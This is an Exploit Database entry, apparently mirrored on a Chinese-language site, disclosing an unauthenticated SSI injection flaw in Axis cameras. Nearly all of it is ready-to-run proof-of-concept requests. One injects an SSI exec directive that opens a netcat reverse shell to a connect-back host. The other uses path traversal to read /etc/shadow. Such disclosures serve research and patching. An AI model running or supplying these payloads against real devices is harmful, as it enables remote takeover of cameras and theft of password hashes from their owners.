Axis SSI – Remote Command Execution / Read Files

• Exploit Database
• 89 阅读

• 作者： bashis
  日期： 2017-10-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43984/

• [STX]
  
  Subject: SSI Remote Execute and Read Files
  Researcher: bashis <mcw noemail eu> (August 2016)
  Release date: October, 2017 (Old stuff that I've forgotten, fixed Q3/2016 by Axis)
  
  Attack Vector: Remote
  Authentication: Anonymous (no credentials needed)
  Conditions: The cam must be configure to allow anonymous view
  
  Execute remote commands (PoC: Connect back shell):
  echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20<CONNECT BACK IP>%20<CONNECT BACK PORT>%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
  
  Notes:
  <CONNECT BACK IP> = LHOST IP
  <CONNECT BACK PORT> = LHOST PORT
  <TARGET IP> = RHOST IP
  <TARGET PORT> RHOST PORT
  
  
  Read remote files (PoC: Read /etc/shadow - check top of the returned output):
  echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23include%20virtual=%22../../etc/shadow%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
  
  Notes:
  <TARGET IP> = RHOST IP
  <TARGET PORT> RHOST PORT
  
  [ETX]
  

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